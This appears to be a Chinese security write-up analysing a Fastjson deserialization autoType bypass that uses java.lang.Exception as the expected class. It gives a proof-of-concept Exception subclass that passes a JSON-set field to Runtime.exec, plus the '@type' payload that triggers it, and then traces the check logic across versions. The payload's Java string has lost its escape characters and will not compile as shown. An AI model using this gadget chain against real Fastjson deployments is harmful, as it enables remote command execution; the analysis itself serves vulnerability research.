反序列化总纲
继1.2.58绕过autotype之后,1.2.68又出现了新的绕过方式,通过Exception来进行绕过,但是此方法要求比较苛刻
0x01 环境搭建首先来说版本,经过测试发现使用Exception的方法最低生效版本为1.2.40。所以maven调整到1.2.40即可。
这里我们需要假设有一个继承了Exception的类。
public class test extends Exception {
private String domain;
public test() {
super();
}
public void setDomain(String domain) {
this.domain = domain;
}
@Override
public String getMessage() {
try {
Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain});
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
public static void main(String[] args) {
String a = " {n" +
" "@type":"java.lang.Exception",n" +
" "@type": "test",n" +
" "domain": "calc"n" +
" }";
System.out.println(a);
JSON.parseObject(a);
}
}
0x02 调用分析
先来看第一次checkAutoType,从mapping中尝试获取clazz
在mapping中是存在Exception的,所以可以直接加载的到
继续跟进到deserializer.deserialze
在这里会判断是否是Throwable的子类,如果是的话就会给exClass赋值
在这里进行二次检测
这里expectClass不为空会进入黑白名单判断
因为是自定义的类名,所以可以轻松的过黑名单
在这里判断是否是expectClass的子类,如果是会直接返回
自此检测通过,照常运行。
在测试中发现在1.2.39中是无法执行payload的,主要原因如下:
先来看1.2.40
在1.2.40中会检测exClass是否是当前的clazz,如果不是话就会去获取
但是在1.2.39中是默认了this.clazz和输入是相同的东西,所以1.2.39中是无法进行利用的



